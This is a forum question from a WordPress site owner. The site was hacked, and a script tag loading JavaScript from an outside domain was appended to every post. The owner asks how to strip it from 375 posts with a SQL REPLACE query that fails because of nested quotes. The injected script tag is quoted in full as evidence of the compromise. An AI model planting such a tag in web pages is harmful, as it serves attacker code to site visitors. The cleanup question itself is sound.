How to mass delete one line from all posts after site hack
My WordPress site has been hacked and every post has had
<script src='https://crow.lowerthenskyactive.ga/m.js?n=ns1' type='text/javascript'></script>
added to the end of each post which I need to remove. I have 375 posts I need this removing from I have tried
UPDATE wp_posts SET post_content = REPLACE (post_content, '<p style="text-align: center;"><img src="https://www.wptricks.com/wp-content/uploads/2020/11/picture.png" alt="" /></p>', '');
from the How to mass delete one line from all posts
and substituted it with the following query I’m thinking it has something to do with the ‘ in the query
UPDATE wp_posts SET post_content = REPLACE (post_content, '<script src='https://crow.lowerthenskyactive.ga/m.js?n=ns1' type='text/javascript'></script>', '');
but I get the following error
#1064 - You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'https://crow.lowerthenskyactive.ga/m.js?n=ns1' type='text/javascript'></script>'' at line 1
when I run the query I think it has something to do with the '
inside the script tags but I don’t know how to remove them.
Leave an answer
You must login or register to add a new answer .